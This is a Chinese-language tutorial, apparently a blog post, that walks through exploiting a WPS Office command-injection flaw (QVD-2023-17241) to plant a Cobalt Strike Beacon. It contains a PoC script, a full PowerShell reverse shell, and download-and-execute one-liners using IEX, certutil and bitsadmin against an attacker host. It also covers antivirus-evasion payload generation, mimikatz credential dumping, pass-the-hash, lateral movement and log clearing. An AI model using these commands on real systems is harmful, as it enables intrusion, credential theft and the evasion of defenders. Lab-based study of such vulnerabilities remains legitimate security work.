WPS Office高危漏洞复现:从命令注入到Cobalt Strike上线实战
1. 项目概述一次针对WPS Office高危漏洞的深度复现与利用最近在整理历史漏洞案例库时我又重新审视了去年那个在安全圈内引起不小波澜的WPS Office远程代码执行漏洞编号QVD-2023-17241。这个漏洞的特别之处在于它并非一个需要复杂交互的客户端漏洞而是存在于WPS Office的某个网络服务组件中攻击者可以构造特定的网络请求在未授权的情况下直接让目标主机执行任意代码。对于渗透测试人员和红队成员来说掌握这类漏洞的复现与武器化流程是构建完整攻击链的关键一环。今天我就以一个实战演练的视角带大家从头到尾走一遍这个漏洞的复现过程并最终实现上线Cobalt StrikeCS的目标。整个过程不仅涉及漏洞原理的简单拆解更重要的是环境搭建、利用脚本调试、免杀载荷生成以及横向移动的初步思路这些都是实战中你会真实遇到的环节。2. 漏洞背景与核心原理拆解2.1 QVD-2023-17241漏洞浅析首先需要明确QVD-2023-17241是一个由国内安全研究员发现并提交的漏洞。根据公开的有限信息和分析报告该漏洞的根源在于WPS Office套件中某个用于处理特定类型文档或提供在线服务的组件。这个组件在解析来自网络的输入数据时存在逻辑缺陷导致攻击者能够注入并执行操作系统命令。它不是传统的缓冲区溢出更像是一种由不当的参数处理或命令拼接导致的“命令注入”型漏洞。举个例子想象一下某个服务端功能原本的设计是接收一个文件名然后调用系统命令type [filename]来显示文件内容。如果程序没有对用户输入的filename参数进行严格的过滤和校验攻击者就可以输入test.txt whoami这样的字符串。最终执行的命令就变成了type test.txt whoami符号使得系统在执行完type命令后继续执行了whoami命令这就实现了命令注入。QVD-2023-17241很可能就是类似的原理。WPS的某个服务可能是文档转换服务、预览服务或协作服务在接收外部传入的某些参数如文档路径、模板名称、脚本标识等时直接将其拼接到了系统命令或脚本调用中且没有进行有效的转义或白名单校验。这就为远程代码执行打开了大门。2.2 影响范围与复现环境准备该漏洞影响特定版本的WPS Office。根据历史信息主要影响WPS Office 2019个人版/专业版的某些早期构建版本以及可能存在问题的WPS Office Linux版本。在复现前务必在隔离的虚拟机环境中进行我通常使用VMware或VirtualBox搭建以下环境靶机环境Windows 10/11操作系统Windows 10 Pro 64位版本号如21H2。软件安装受影响的WPS Office版本。你需要寻找历史版本的安装包例如WPS Office 2019 (11.1.0.11365) 或类似的早期版本。切勿在联网的生产或日常机器上安装。网络配置为NAT或仅主机模式确保能与攻击机通信。防护为了方便复现建议临时关闭Windows Defender实时保护复现后请立即恢复。攻击机环境Kali Linux 2023操作系统Kali Linux Rolling Release。必要工具Python3、pip、git、Metasploit Framework可选用于生成载荷、Cobalt Strike商业工具需自备或Sliver开源C2替代品可用于学习。网络与靶机在同一虚拟网络段。注意漏洞复现的所有操作必须在你自己拥有完全控制权的实验室环境如本地虚拟机中进行。任何对非授权系统的测试都是非法且不道德的。3. 漏洞复现详细步骤与POC调试3.1 信息收集与漏洞点定位复现的第一步是确认靶机上WPS Office的服务状态。由于公开的漏洞细节EXP往往不会给出具体的服务端口或URL路径我们需要一些侦察手段。端口扫描在攻击机上使用nmap对靶机进行全端口扫描。nmap -sS -sV -p- 192.168.1.10 # 假设靶机IP是192.168.1.10重点关注那些由WPS Office开启的非标准端口例如6xxx, 7xxx范围的端口或者查看是否有kingsoft、wps相关的服务标识。进程与服务分析在靶机上打开任务管理器切换到“详细信息”或“服务”标签页查看所有wps、kingsoft、office相关的进程。记录下它们的名称和PID。使用netstat -ano | findstr PID命令查看对应进程监听的端口。这一步是找到漏洞入口的关键。搜索公开POC在GitHub、Exploit-DB等平台搜索“QVD-2023-17241”或“WPS Office RCE”。你可能会找到一些Python写的概念验证脚本。这里我必须强调从互联网下载的任何EXP脚本都必须先进行代码审计在隔离环境中运行防止其中夹带后门。3.2 利用脚本分析与修改假设我们找到了一个名为wps_rce_qvd_2023_17241.py的POC脚本。它的核心逻辑通常如下import requests import sys def exploit(target_ip, target_port, command): url fhttp://{target_ip}:{target_port}/some/vulnerable/endpoint # 漏洞参数可能叫做 file, template, script 等 params { vuln_param: flegitimate_value;{command} # 使用分号、管道符、反引号等进行命令注入 } # 或者可能是POST请求数据在body中 # data {vuln_param: flegitimate_value{command}} try: response requests.get(url, paramsparams, timeout5) # 有些漏洞执行命令没有回显需要通过DNS、HTTP请求外带数据或者直接反弹shell print(f[] 请求已发送。状态码: {response.status_code}) # 如果有回显可能藏在响应体的某个角落 # print(response.text) except Exception as e: print(f[-] 请求失败: {e}) if __name__ __main__: if len(sys.argv) ! 4: print(f用法: {sys.argv[0]} 目标IP 目标端口 要执行的命令) sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])关键修改点目标URL与参数你需要根据信息收集的结果将脚本中的url和vuln_param替换成实际存在漏洞的接口路径和参数名。这可能需要结合模糊测试fuzzing或分析WPS的更新日志、补丁对比来推测。命令注入语法Windows和Linux的命令连接符不同。Windows常用、、|、||而Linux常用;、、|、、||以及反引号、$()。你需要根据靶机操作系统和上下文猜测正确的注入方式。例如在Windows中可能构造为正常参数 whoami。回显与外带很多RCE漏洞没有直接回显。我们的首要目标不是执行whoami而是获取一个反向Shell。因此POC脚本中的command变量应该替换为能让我们控制靶机的命令。3.3 生成反向Shell载荷我们使用最经典的反向Shell方式。在攻击机上监听并让靶机主动连接我们。攻击机监听准备使用netcat进行简单监听适合临时测试nc -lvnp 4444使用MSF的multi/handler模块功能更强大支持多种载荷稳定化msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.5 # 攻击机IP set LPORT 4444 exploit构造靶机执行命令 我们需要一个能在靶机Windows上执行的命令来连接我们的监听器。这里以powershell为例因为它现代且强大。# 一个经过简单编码的PowerShell反向Shell命令 powershell -nop -c $client New-Object System.Net.Sockets.TCPClient(192.168.1.5,4444);$stream $client.GetStream();[byte[]]$bytes 0..65535|%{0};while(($i $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback (iex $data 21 | Out-String );$sendback2 $sendback PS (pwd).Path ;$sendbyte ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()这个命令很长直接作为参数传递可能会被截断或转义出错。因此我们需要对其进行编码和缩短。命令编码与缩短技巧Base64编码PowerShell支持-EncodedCommand参数接收Base64编码的命令。# 在攻击机Kali上先将命令字符串进行Base64编码 echo -n 上面那长串PowerShell命令 | iconv -t utf-16le | base64 -w 0会得到一个很长的Base64字符串。然后执行命令变为powershell -nop -enc 生成的Base64字符串这大大缩短了命令长度且避免了特殊字符问题。远程下载执行更优雅的方式是让靶机从我们的攻击机下载一个PowerShell脚本并执行。在攻击机用Python启动一个简易HTTP服务python3 -m http.server 8080将上面的PowerShell反向Shell代码保存为shell.ps1放在服务目录下。构造漏洞利用命令为powershell -nop -c IEX(New-Object Net.WebClient).DownloadString(http://192.168.1.5:8080/shell.ps1)这种方式命令极短且便于维护和更换载荷。4. 上线Cobalt Strike载荷制作与会话获取获取一个基本的反向Shell如netcat或meterpreter只是第一步。在真实的红队评估中我们需要一个功能更全面、更隐蔽、更稳定的指挥控制C2平台Cobalt StrikeCS就是行业标杆。4.1 生成CS Beacon载荷在Cobalt Strike团队服务器上操作创建监听器点击Cobalt Strike-Listeners-Add。Payload: 选择windows/beacon_http/reverse_httpHTTP相对隐蔽或reverse_https加密更推荐。Name: 自定义如http-local。HTTP Hosts: 填写你的团队服务器IP公网IP或VPN内网IP。HTTP Port (C2): 设置一个端口如80或443伪装成正常流量。HTTP Host (Stager): 通常与HTTP Hosts一致。HTTP Port (Stager): Beacon会先回连这个端口获取完整的Payload可以设置成另一个端口。生成Payload点击Attacks-Packages-Windows Executable (S)。Listener: 选择刚才创建的http-local。Output: 选择Windows EXE生成一个.exe文件例如beacon.exe。关键步骤 - 免杀处理直接生成的Beacon很容易被杀毒软件查杀。我们需要进行免杀AV Evasion。CS内置了Artifact Kit和Resource Kit但更常用的方法是使用外部工具如Veil-Evasion、Shellter或在线混淆平台。一个简单的思路是使用msfvenom编码或者将shellcode注入到正常的白程序如notepad.exe中。这里以使用msfvenom简单编码为例效果有限实战需更复杂手段# 首先从CS导出原始的shellcode (Raw格式) # 在CS中 Attacks - Packages - Windows Executable (S) 选择 Raw 格式输出得到 beacon.bin # 然后使用msfvenom进行编码和嵌入模板 msfvenom -p windows/x64/meterpreter/reverse_http LHOST192.168.1.5 LPORT443 -f exe -e x86/shikata_ga_nai -i 5 -x /usr/share/windows-resources/binaries/putty.exe -k -o beacon_embedded.exe # 但注意这是生成meterpreter不是Beacon。更推荐使用CS的Artifact Kit自定义编译。更有效的方法是通过Cobalt Strike的Aggressor Script脚本如ArtifactKit或使用Donut工具将shellcode生成位置无关PIC代码再通过其他方式加载。4.2 利用漏洞投递并执行Beacon现在我们有了一个相对免杀的Beacon可执行文件beacon.exe。我们需要通过QVD-2023-17241漏洞让靶机下载并执行它。文件托管将beacon.exe放在攻击机的Web服务器上例如继续使用刚才的Python HTTP服务器端口8080。构造漏洞利用命令我们需要一个能下载文件并执行的命令。在Windows上有多种方式PowerShell (最灵活)powershell -nop -c (New-Object Net.WebClient).DownloadFile(http://192.168.1.5:8080/beacon.exe, C:\\Users\\Public\\beacon.exe); Start-Process C:\\Users\\Public\\beacon.exeCertutil (Windows内置)certutil -urlcache -split -f http://192.168.1.5:8080/beacon.exe C:\Users\Public\beacon.exe C:\Users\Public\beacon.exeBitsadmin (Windows内置)bitsadmin /transfer myjob /download /priority high http://192.168.1.5:8080/beacon.exe C:\Users\Public\beacon.exe C:\Users\Public\beacon.exe整合到POC脚本修改我们之前的POC脚本将command变量替换为上述任意一条下载执行命令。注意由于漏洞注入点可能对命令长度和字符有限制certutil和bitsadmin的命令通常更短。如果遇到问题可以尝试将命令写入一个批处理文件.bat再远程下载执行该批处理。执行与上线python3 wps_rce_qvd_2023_17241.py 192.168.1.10 8081 certutil -urlcache -split -f http://192.168.1.5:8080/beacon.exe C:\\Users\\Public\\beacon.exe C:\\Users\\Public\\beacon.exe如果漏洞利用成功靶机将下载beacon.exe并运行。稍等片刻在Cobalt Strike的客户端界面上你应该能看到一个新的主机上线Beacon会话。5. 后期利用思路与痕迹清理成功上线CS Beacon后我们的复现目标基本达成。但一个完整的演练还包括后续动作。5.1 初始权限提升与信息收集通常通过漏洞获取的Shell可能权限不高如NT AUTHORITY\NETWORK SERVICE或某个低权限用户。在CS中我们可以尝试提权。本地提权模块在Beacon会话上右键 -Access-Elevate可以选择如ms14-058、ms16-032、ms18-8120等提权漏洞的利用模块。CS会尝试注入高权限进程。信息收集使用CS内置的命令进行快速信息收集为横向移动做准备shell whoami /all net view net localgroup administrators ipconfig /all arp -a也可以使用CS的View-Targets自动收集信息。5.2 横向移动尝试如果当前机器在内网中我们可以尝试横向移动。凭证窃取使用mimikatzCS内置来抓取内存中的密码哈希和明文密码。mimikatz !lsadump::sam mimikatz !sekurlsa::logonpasswords哈希传递Pass-the-Hash如果抓取到其他用户的NTLM哈希可以使用CS的pth命令或Lateral Movement选项进行哈希传递攻击访问网络共享或尝试连接其他主机。端口扫描与服务发现使用Beacon的portscan命令对内网其他IP段进行扫描寻找开放了常见服务如445/SMB, 3389/RDP, 5985/WinRM的主机。5.3 痕迹清理演练结束后务必清理痕迹恢复环境。清理Beacon在CS中对会话使用kill命令结束Beacon进程。清理生成的文件通过Beacon的shell命令删除靶机上生成的恶意文件。shell del C:\\Users\\Public\\beacon.exe如果创建了其他临时文件或批处理脚本一并删除。清理日志Windows事件日志可能记录了进程创建、网络连接等信息。可以使用clearev命令在meterpreter中或手动通过wevtutil命令清理。但在真实环境中大规模清理日志本身是一个可疑行为需要权衡。恢复靶机最简单直接的方法是恢复虚拟机到漏洞复现前的快照状态。6. 复现过程中的常见问题与排查在复现这类漏洞时你几乎一定会遇到各种问题。下面是我踩过的一些坑和解决办法。6.1 漏洞利用不成功症状执行POC脚本后没有收到反向Shell或者靶机没有任何反应。排查思路网络连通性确保攻击机和靶机IP设置正确且能互相ping通。检查防火墙是否拦截了相关端口漏洞服务端口、反向Shell连接端口。服务状态确认靶机上的WPS Office相关服务正在运行。尝试重启WPS服务或靶机。命令注入语法这是最常见的问题。尝试不同的命令连接符,,|,;。尝试用双引号、单引号包裹注入点。查看WPS服务可能调用的底层是cmd.exe还是powershell.exe或者是其他脚本引擎。命令回显如果漏洞有回显先尝试执行无害命令如echo test123或whoami看看响应中是否包含命令输出。如果没有回显尝试让靶机向外发起一个网络连接来验证命令是否执行例如ping -n 1 攻击机IP同时在攻击机用tcpdump抓ICMP包。杀软拦截靶机的杀毒软件可能实时拦截了恶意命令的执行。尝试执行calc打开计算器这样的无害命令测试如果计算器能打开说明命令执行成功但后续的下载执行被拦截了。此时需要加强载荷的免杀性。6.2 Beacon无法上线症状漏洞利用命令执行成功如计算器弹出但CS里没有主机上线。排查思路监听器配置反复检查CS监听器的IP、端口是否正确HTTP Hosts是否填写了攻击机对靶机可见的IP如果是内网填内网IP如果靶机是NAT网络填攻击机物理机的IP可能不行。Payload兼容性检查生成的Beacon是32位x86还是64位x64是否与靶机系统架构匹配。可以尝试生成windows/beacon_http/reverse_httpStaged和windows/beacon_http/reverse_httpStageless两种看看。网络出口确保团队服务器CS Server的防火墙放行了监听端口。如果攻击机在公网靶机在内网需要确保内网靶机有通往公网的出口并且没有出口防火墙拦截。免杀失败Payload被靶机上的下一代杀毒软件NGAV或EDR在内存中检测并杀死。尝试使用更高级的免杀技术如远程线程注入到合法进程、Process Hollowing、或使用诸如C#/VBA/JScript等脚本加载器来执行shellcode。6.3 稳定性与隐蔽性问题症状Beacon上线后很快掉线或者操作时响应缓慢。排查与优化心跳与超时在CS的监听器配置或Profile中可以调整Beacon的心跳间隔sleep时间和抖动jitter。增加睡眠时间如30000毫秒和抖动百分比如30%可以降低流量特征但会牺牲交互性。使用HTTPS监听器reverse_https比reverse_http流量是加密的更有利于绕过网络层检测。设置User-Agent在Profile中修改默认的User-Agent使其模仿正常的浏览器流量。使用CDN或域前置在公网实战中将C2服务器隐藏在Cloudflare等CDN后面或使用域前置Domain Fronting技术可以更好地隐蔽团队服务器的真实IP。整个复现过程从环境搭建到最终上线CS是一个系统工程考验的不仅仅是漏洞利用本身更是对操作系统、网络、安全工具和对抗技术的综合理解。每一个环节都可能遇到障碍耐心调试和层层排查是唯一的方法。通过这样一次完整的手动复现你对漏洞利用链的理解会比单纯运行一个自动化工具深刻得多。记住工具是辅助思路才是核心。

相关新闻

WinIDE与CASM05W汇编器配置详解:嵌入式开发环境搭建与调试

WinIDE与CASM05W汇编器配置详解:嵌入式开发环境搭建与调试

1. 项目概述:嵌入式开发环境的核心配置在嵌入式开发这个行当里,尤其是面对像Freescale(现NXP)HC05这类经典的8位微控制器时,开发环境的搭建与配置往往是项目成功的第一步,也是最容易“卡脖子”的一步。很多…

2026/6/26 0:12:17阅读更多 →
为什么说必火AI不是培训机构,而是AI增长系统公司?

为什么说必火AI不是培训机构,而是AI增长系统公司?

一、一个常见的误解正在发生很多人初次接触必火AI时,会有一个直观判断:这是一家AI培训机构这种判断来自表层信息,例如:有线下课程有训练营有实战工作坊但从结构上看,这种判断是不完整的。二、表层结构 vs 底层结构如果…

2026/6/26 0:07:16阅读更多 →
Windows 11终极清理指南:3步免费移除系统臃肿

Windows 11终极清理指南:3步免费移除系统臃肿

Windows 11终极清理指南:3步免费移除系统臃肿 【免费下载链接】Win11Debloat A simple, lightweight PowerShell script that allows you to remove pre-installed apps, disable telemetry, as well as perform various other changes to declutter and customize …

2026/6/26 0:07:16阅读更多 →
近期碎片0625

近期碎片0625

自我反思reflection的prompt,agent会不会通过用户反馈自动调优1、我的workflow和tools的边界2、场景颗粒度,针对什么场景,如何拆解意图3、数据闭环,任务的成功率,单论对话解决率,用户干预次数4、prompt结构…

2026/6/26 2:32:32阅读更多 →
如何免费制作专业PPT:PPTist在线演示文稿工具终极指南

如何免费制作专业PPT:PPTist在线演示文稿工具终极指南

如何免费制作专业PPT:PPTist在线演示文稿工具终极指南 【免费下载链接】PPTist PowerPoint-ist(/pauəpɔintist/), An online presentation application that replicates most of the commonly used features of MS PowerPoint, allowing fo…

2026/6/26 2:32:31阅读更多 →
反序列化漏洞:从原理到防护的深度解析

反序列化漏洞:从原理到防护的深度解析

1. 项目概述:从“数据还原”到“系统沦陷”的惊险一跃在软件开发的世界里,序列化和反序列化是再常见不过的操作。简单来说,序列化就是把一个内存中的对象,比如一个用户信息、一个订单数据,转换成一串可以存储或传输的字…

2026/6/26 2:32:31阅读更多 →
2026年下半年量化工具选择,先分清 AI 和 Python 分工

2026年下半年量化工具选择,先分清 AI 和 Python 分工

已有量化经验的人在选择软件工具时,往往比新手更清楚自己想提高效率,却也更容易被不同工具的能力边界困住。问题不只是“哪个工具更强”,而是自己当前缺的是规则表达、流程开发,还是对实现结构的理解。能力基础不同,合…

2026/6/26 2:32:31阅读更多 →
25元打造AI智能眼镜:OpenGlass开源项目终极指南

25元打造AI智能眼镜:OpenGlass开源项目终极指南

25元打造AI智能眼镜:OpenGlass开源项目终极指南 【免费下载链接】OpenGlass Turn any glasses into AI-powered smart glasses 项目地址: https://gitcode.com/GitHub_Trending/op/OpenGlass 想拥有自己的AI智能眼镜却担心价格昂贵?OpenGlass开源…

2026/6/26 2:32:31阅读更多 →
终极免费网盘下载加速解决方案:告别限速,9大平台全兼容的完整指南

终极免费网盘下载加速解决方案:告别限速,9大平台全兼容的完整指南

终极免费网盘下载加速解决方案:告别限速,9大平台全兼容的完整指南 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘…

2026/6/26 2:27:31阅读更多 →
【人工智能】一文搞定到底什么是智能体

【人工智能】一文搞定到底什么是智能体

【人工智能】一文搞定到底什么是智能体 一文搞定到底什么是智能体【人工智能】一文搞定到底什么是智能体一. LM,WorkFlow,Agent分别有什么么不同二. Agent的思考过程是怎样的三. Agent的五个核心部分1)LLM2)Prompt3)Me…

2026/6/25 9:39:54阅读更多 →
嵌入式GUI控件实战:ROTARY、SCROLLBAR、SLIDER原理与应用

嵌入式GUI控件实战:ROTARY、SCROLLBAR、SLIDER原理与应用

1. 嵌入式GUI控件:从原理到实战的深度解析在嵌入式系统开发中,图形用户界面(GUI)的设计与实现往往是项目从“能用”到“好用”的关键一跃。不同于资源充沛的PC或移动平台,嵌入式设备的GUI需要在有限的CPU性能、内存空间…

2026/6/25 2:52:24阅读更多 →
Google AI Studio 300美元额度的真相与实战指南

Google AI Studio 300美元额度的真相与实战指南

1. 这300美金不是“送钱”,而是Google埋下的第一道技术门槛 你看到标题里那个醒目的“$300美金”时,第一反应可能是:又一个免费额度?领完就完事?我亲手试过——这300美金根本不是红包,而是一张入场券&…

2026/6/25 9:01:34阅读更多 →
HPE (慧与) 服务器专用 ESXi 9 全套官方定制资源详解 + 完整部署升级教程

HPE (慧与) 服务器专用 ESXi 9 全套官方定制资源详解 + 完整部署升级教程

一、前言:企业运维痛点与资源价值自博通收购 VMware 之后,原 VMware 公开免费下载渠道全面关闭,企业运维人员想要获取适配 HPE 慧与服务器的 ESXi 9 原厂镜像,必须注册博通账号、绑定有效授权才能下载,无授权账号无法获…

2026/6/26 0:02:15阅读更多 →
Kotlin的@JvmStatic与@JvmField:与Java互操作的注解

Kotlin的@JvmStatic与@JvmField:与Java互操作的注解

Kotlin作为一门现代编程语言,与Java的互操作性一直是其核心优势之一。为了让Kotlin代码能够无缝对接Java,Kotlin提供了多种注解来优化互操作体验,其中JvmStatic和JvmField是两个关键注解。它们分别用于解决静态成员和字段在Java中的访问问题&…

2026/6/26 0:02:15阅读更多 →
深入解析musl libc中的mmap实现源码

深入解析musl libc中的mmap实现源码

最近在阅读musl libc源码时,发现其mmap的实现非常精妙,特分享给大家。 一、代码整体结构 这段代码实现了__mmap函数,并通过weak_alias导出为mmap。这是典型的musl libc风格——提供弱符号以便用户可以重写。 weak_alias(__mmap, mmap); 二…

2026/6/26 0:02:15阅读更多 →